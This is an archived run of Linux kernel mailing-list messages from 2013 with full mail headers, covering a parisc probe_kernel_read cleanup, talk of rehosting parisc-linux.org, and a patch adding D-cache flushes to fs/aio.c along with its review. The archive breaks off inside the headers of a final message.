	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VgK9R-0000Hl-LH
	for glpp-linux-parisc@plane.gmane.org; Tue, 12 Nov 2013 21:01:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756744Ab3KLUB2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 12 Nov 2013 15:01:28 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:60112 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753735Ab3KLUB2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 12 Nov 2013 15:01:28 -0500
Original-Received: from p100.box ([84.173.34.66]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MRoRF-1W9I6e34IL-00SwUM for
 <linux-parisc@vger.kernel.org>; Tue, 12 Nov 2013 21:01:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:yaqr2+xZoi+7VV8xtmgFaDDwR70cJX/VNtNbD0fZ7PAzrJjfBxZ
 z06IeSdmcXweH3y54KeRXrt3mdpSMLRW6EZMaWEvPWSve7LMfCvT35iOc8DrTjhHI8drDjB
 Ag9HbX9FHTOsia/jVywmNS9YsS6SXopMQmkNrydfVnQC7gO/A2EOw0mxXrIzC83BxURgSNF
 lgiMy3Eii02/qybXMMZmg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5483
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5483>

Signed-off-by: Helge Deller <deller@gmx.de>
CC: Mikulas Patocka <mpatocka@redhat.com>

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index b5507ec..32f0303 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -529,7 +529,7 @@ long probe_kernel_read(void *dst, const void *src, size_t size)
 {
 	unsigned long addr = (unsigned long)src;
 
-	if (size < 0 || addr < PAGE_SIZE)
+	if (addr < PAGE_SIZE)
 		return -EFAULT;
 
 	/* check for I/O space F_EXTEND(0xfff00000) access as well? */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Tue, 12 Nov 2013 12:27:04 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <1384288024.2248.1.camel@dabdike>
References: <20131105003509.GA19864@dannf.org>
	 <1383612962.2150.4.camel@dabdike>
	 <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>
	 <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com>
	 <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org>
	 <20131109082036.62C881A8@taggart.lackof.org>
	 <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org>
	 <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de>
	 <C9305BC2-086F-48E8-944C-D7751095769A@parisc-linux.org>
	 <527EA9C9.2070309@gmx.de>
	 <3B12942A-F2B8-459E-85AE-3AC9DB288D67@parisc-linux.org>
	 <528285DF.6010305@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384288036 19438 80.91.229.3 (12 Nov 2013 20:27:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Nov 2013 20:27:16 +0000 (UTC)
Cc: Thibaut =?ISO-8859-1?Q?Var=E8ne?= <T-Bone@parisc-linux.org>,
	Matt Taggart <matt@lackof.org>, dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 12 21:27:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VgKYG-0000L6-Pi
	for glpp-linux-parisc@plane.gmane.org; Tue, 12 Nov 2013 21:27:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756582Ab3KLU1H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 12 Nov 2013 15:27:07 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38350 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755939Ab3KLU1H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 12 Nov 2013 15:27:07 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 808148EE196;
	Tue, 12 Nov 2013 12:27:06 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JnwH7VQnTyEE; Tue, 12 Nov 2013 12:27:06 -0800 (PST)
Original-Received: from [10.10.42.160] (unknown [4.53.145.56])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id EB2288EE0CD;
	Tue, 12 Nov 2013 12:27:05 -0800 (PST)
In-Reply-To: <528285DF.6010305@gmx.de>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5484>

On Tue, 2013-11-12 at 20:47 +0100, Helge Deller wrote:
> Again, I'm happy as long as it can live.
> Sadly still no feedback from OSUOSL.

If you filled in the form over a week ago, ping Lance directly.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: [PATCH] aio: fix D-cache aliasing issues
Date: Fri, 15 Nov 2013 23:05:29 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20131115220529.GA3160@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384553133 26281 80.91.229.3 (15 Nov 2013 22:05:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Nov 2013 22:05:33 +0000 (UTC)
To: Benjamin LaHaise <bcrl@kvack.org>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 15 23:05:37 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VhRWC-00056p-3G
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Nov 2013 23:05:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753127Ab3KOWFd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Nov 2013 17:05:33 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:56864 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752797Ab3KOWFd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Nov 2013 17:05:33 -0500
Original-Received: from ls3530.box ([84.173.68.146]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MV1wf-1WDhNW0Rrx-00YOLw for
 <linux-parisc@vger.kernel.org>; Fri, 15 Nov 2013 23:05:31 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:gL9eQ7dcqZRad2QhFWFUX8zjARHCWpvJotJKWqjVDsVibBWIyWN
 tUYqxBHT3+g5K7PbieBRiXpnNOpMZMXwPP8GS1EUi56JdWoGa9Jdmq86+9gRzXr+Q3MNsV0
 LMequptj2pK33nZQtLI89i7MRzkKArd8QQp2Xp0yYhaRKi19eZ+Ns7Ox9Sg0CHY4p2KljRF
 cdnn+p1LbsAe6UvQN6J9g==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5485 gmane.linux.kernel.aio.general:3792 gmane.linux.kernel:1596156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5485>

When a user page mapping is released via kunmap*() functions, the D-cache needs
to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.

This patch fixes aio on the parisc platform (and probably others).

Signed-off-by: Helge Deller <deller@gmx.de>
To: Benjamin LaHaise <bcrl@kvack.org>
To: linux-aio@kvack.org
Cc: stable@vger.kernel.org    # 3.12+

diff --git a/fs/aio.c b/fs/aio.c
index 823efcb..2181821 100644
--- a/fs/aio.c
+++ b/fs/aio.c
@@ -514,6 +514,7 @@ static void free_ioctx(struct work_struct *work)
 		atomic_add(avail, &ctx->reqs_available);
 		ring->head = ring->tail;
 		kunmap_atomic(ring);
+		flush_dcache_page(ctx->ring_pages[0]);
 
 		if (atomic_read(&ctx->reqs_available) >= ctx->nr_events - 1)
 			break;
@@ -568,6 +569,7 @@ static int ioctx_add_table(struct kioctx *ctx, struct mm_struct *mm)
 					ring = kmap_atomic(ctx->ring_pages[0]);
 					ring->id = ctx->id;
 					kunmap_atomic(ring);
+					flush_dcache_page(ctx->ring_pages[0]);
 					return 0;
 				}
 
@@ -1032,6 +1034,7 @@ static long aio_read_events_ring(struct kioctx *ctx,
 	head = ring->head;
 	tail = ring->tail;
 	kunmap_atomic(ring);
+	flush_dcache_page(ctx->ring_pages[0]);
 
 	pr_debug("h%u t%u m%u\n", head, tail, ctx->nr_events);
 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Fri, 15 Nov 2013 14:42:05 -0800
Lines: 63
Approved: news@gmane.org
Message-ID: <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
References: <20131115220529.GA3160@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384555327 17905 80.91.229.3 (15 Nov 2013 22:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Nov 2013 22:42:07 +0000 (UTC)
Cc: Benjamin LaHaise <bcrl@kvack.org>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 15 23:42:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VhS5a-0003nR-Nv
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Nov 2013 23:42:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752731Ab3KOWmJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Nov 2013 17:42:09 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50877 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752530Ab3KOWmI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Nov 2013 17:42:08 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6750B8EE196;
	Fri, 15 Nov 2013 14:42:07 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PcuHR3ppQLoD; Fri, 15 Nov 2013 14:42:07 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id DDC8B8EE0CD;
	Fri, 15 Nov 2013 14:42:06 -0800 (PST)
In-Reply-To: <20131115220529.GA3160@ls3530.box>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5486 gmane.linux.kernel.aio.general:3793 gmane.linux.kernel:1596171
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5486>

On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
> When a user page mapping is released via kunmap*() functions, the D-cache needs
> to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.
> 
> This patch fixes aio on the parisc platform (and probably others).

This should be flush_kernel_dcache_page().  flush_dcache_page() is for
full coherency but for unmap, we know the page was coherent going in and
may have been modified by the kernel, so only the kernel view needs to
be sync'd.  Technically, by the kernel API, the flush should be done
*before* unmapping.  This would have mattered on parisc until we did
flush via tmpalias which means we no-longer care if the mapping for the
flush exists or not because we always recreate it via the tmpalias
pages.

James

> Signed-off-by: Helge Deller <deller@gmx.de>
> To: Benjamin LaHaise <bcrl@kvack.org>
> To: linux-aio@kvack.org
> Cc: stable@vger.kernel.org    # 3.12+
> 
> diff --git a/fs/aio.c b/fs/aio.c
> index 823efcb..2181821 100644
> --- a/fs/aio.c
> +++ b/fs/aio.c
> @@ -514,6 +514,7 @@ static void free_ioctx(struct work_struct *work)
>  		atomic_add(avail, &ctx->reqs_available);
>  		ring->head = ring->tail;
>  		kunmap_atomic(ring);
> +		flush_dcache_page(ctx->ring_pages[0]);
>  
>  		if (atomic_read(&ctx->reqs_available) >= ctx->nr_events - 1)
>  			break;
> @@ -568,6 +569,7 @@ static int ioctx_add_table(struct kioctx *ctx, struct mm_struct *mm)
>  					ring = kmap_atomic(ctx->ring_pages[0]);
>  					ring->id = ctx->id;
>  					kunmap_atomic(ring);
> +					flush_dcache_page(ctx->ring_pages[0]);
>  					return 0;
>  				}
>  
> @@ -1032,6 +1034,7 @@ static long aio_read_events_ring(struct kioctx *ctx,
>  	head = ring->head;
>  	tail = ring->tail;
>  	kunmap_atomic(ring);
> +	flush_dcache_page(ctx->ring_pages[0]);
>  
>  	pr_debug("h%u t%u m%u\n", head, tail, ctx->nr_events);
>  
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simon Baatz <gmbnomis@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sat, 16 Nov 2013 21:07:18 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20131116200717.GA18939@schnuecks.de>
References: <20131115220529.GA3160@ls3530.box>
 <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384632439 3527 80.91.229.3 (16 Nov 2013 20:07:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Nov 2013 20:07:19 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Benjamin LaHaise <bcrl@kvack.org>,
	linux-aio@kvack.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 16 21:07:23 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vhm9K-0008WE-N1
	for glpp-linux-parisc@plane.gmane.org; Sat, 16 Nov 2013 21:07:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752170Ab3KPUHW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Nov 2013 15:07:22 -0500
Original-Received: from mail-ee0-f48.google.com ([74.125.83.48]:53174 "EHLO
	mail-ee0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751901Ab3KPUHV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Nov 2013 15:07:21 -0500
Original-Received: by mail-ee0-f48.google.com with SMTP id e49so1683260eek.7
        for <multiple recipients>; Sat, 16 Nov 2013 12:07:19 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=Sa10WJaiQvPPDHd2/xwbJ39isiE7R7p5D080abES8Bg=;
        b=PF2EPJKmH+DJ9qrVVZWN0Bq0f55ySgxqspBgOu0ayuF/bSsBCJUDHGQ9+bEGCgEqxf
         Cmj4fqFhmzsi03PHxTCAnBEMs/sNG1HoDSbbwLrZV5q8oQMQI2LEjPnOjFKlZEou88X2
         grAfS7yWxxHYJ4qSMjFzDOAwGZ1+Cwp+z4I3HpNElc8o1UgnHXwOjav7CMC3tapoLo7V
         z+9spmOHKo7xJpt8wUU6SnOVce8az+kpLERwpaWdwDXbNeCnNFV2U4AvLs8GIvvmCtuJ
         8CvKZl97n7mtIZcioC9coo3MdKZ1VzGl7kho9eq5BmmiTqrNCaAeBNHYvbdjQMzPnmn4
         fcnQ==
X-Received: by 10.14.198.66 with SMTP id u42mr170735een.80.1384632439757;
        Sat, 16 Nov 2013 12:07:19 -0800 (PST)
Original-Received: from gandalf.schnuecks.de ([2001:4dd0:f8d2:2602::1])
        by mx.google.com with ESMTPSA id s3sm19875327eeo.3.2013.11.16.12.07.18
        for <multiple recipients>
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sat, 16 Nov 2013 12:07:19 -0800 (PST)
Original-Received: by gandalf.schnuecks.de (Postfix, from userid 500)
	id 1E9934013A; Sat, 16 Nov 2013 21:07:18 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5487 gmane.linux.kernel.aio.general:3794 gmane.linux.kernel:1596465
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5487>

On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
> On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
> > When a user page mapping is released via kunmap*() functions, the D-cache needs
> > to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.
> > 
> > This patch fixes aio on the parisc platform (and probably others).
> 
> This should be flush_kernel_dcache_page().  flush_dcache_page() is for
> full coherency but for unmap, we know the page was coherent going in and
> may have been modified by the kernel, so only the kernel view needs to
> be sync'd.  Technically, by the kernel API, the flush should be done
> *before* unmapping.  This would have mattered on parisc until we did
> flush via tmpalias which means we no-longer care if the mapping for the
> flush exists or not because we always recreate it via the tmpalias
> pages.

On ARM, flush_kernel_dcache_page() actually assumes that the page is
mapped.  It avoids double flushing of highmem pages by not flushing
in those cases where kunmap_atomic() already takes care of flushing.


- Simon
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin LaHaise <bcrl@kvack.org>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sat, 16 Nov 2013 15:09:59 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <20131116200959.GA14098@kvack.org>
References: <20131115220529.GA3160@ls3530.box> <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com> <20131116200717.GA18939@schnuecks.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384632596 5250 80.91.229.3 (16 Nov 2013 20:09:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Nov 2013 20:09:56 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Simon Baatz <gmbnomis@gmail.com>
Original-X-From: owner-linux-aio@kvack.org Sat Nov 16 21:10:02 2013
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1VhmBt-0004WV-Fs
	for gla-linux-aio@m.gmane.org; Sat, 16 Nov 2013 21:10:01 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id C105C6B0031; Sat, 16 Nov 2013 15:09:59 -0500 (EST)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id BC2956B0037; Sat, 16 Nov 2013 15:09:59 -0500 (EST)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id A5F456B0036; Sat, 16 Nov 2013 15:09:59 -0500 (EST)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 952AF6B0035; Sat, 16 Nov 2013 15:09:59 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20131116200717.GA18939@schnuecks.de>
User-Agent: Mutt/1.4.2.2i
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:3795 gmane.linux.kernel:1596467 gmane.linux.ports.parisc:5488
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/3795>

On Sat, Nov 16, 2013 at 09:07:18PM +0100, Simon Baatz wrote:
> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
> > On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
> > > When a user page mapping is released via kunmap*() functions, the D-cache needs
> > > to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.
> > > 
> > > This patch fixes aio on the parisc platform (and probably others).
> > 
> > This should be flush_kernel_dcache_page().  flush_dcache_page() is for
> > full coherency but for unmap, we know the page was coherent going in and
> > may have been modified by the kernel, so only the kernel view needs to
> > be sync'd.  Technically, by the kernel API, the flush should be done
> > *before* unmapping.  This would have mattered on parisc until we did
> > flush via tmpalias which means we no-longer care if the mapping for the
> > flush exists or not because we always recreate it via the tmpalias
> > pages.
> 
> On ARM, flush_kernel_dcache_page() actually assumes that the page is
> mapped.  It avoids double flushing of highmem pages by not flushing
> in those cases where kunmap_atomic() already takes care of flushing.

Helge -- are you going to resubmit a version of this patch that makes the 
recommended change?

		-ben

> 
> 
> - Simon

-- 
"Thought is the essence of where you are now."

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sat, 16 Nov 2013 14:06:30 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <1384639590.3614.16.camel@dabdike.int.hansenpartnership.com>
References: <20131115220529.GA3160@ls3530.box>
	 <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
	 <20131116200717.GA18939@schnuecks.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384639602 8466 80.91.229.3 (16 Nov 2013 22:06:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Nov 2013 22:06:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Benjamin LaHaise <bcrl@kvack.org>, 
 linux-aio@kvack.org, linux-kernel@vger.kernel.org,
 linux-parisc@vger.kernel.org
To: Simon Baatz <gmbnomis@gmail.com>
Original-X-From: owner-linux-aio@kvack.org Sat Nov 16 23:06:46 2013
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1Vho0s-0007Wi-5N
	for gla-linux-aio@m.gmane.org; Sat, 16 Nov 2013 23:06:46 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 386F96B0031; Sat, 16 Nov 2013 17:06:44 -0500 (EST)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 2FDA96B0035; Sat, 16 Nov 2013 17:06:44 -0500 (EST)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 172266B0036; Sat, 16 Nov 2013 17:06:44 -0500 (EST)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-pa0-f52.google.com (mail-pa0-f52.google.com [209.85.220.52])
	by kanga.kvack.org (Postfix) with ESMTP id D677E6B0031
	for <linux-aio@kvack.org>; Sat, 16 Nov 2013 17:06:43 -0500 (EST)
Original-Received: by mail-pa0-f52.google.com with SMTP id ld10so518432pab.39
        for <linux-aio@kvack.org>; Sat, 16 Nov 2013 14:06:43 -0800 (PST)
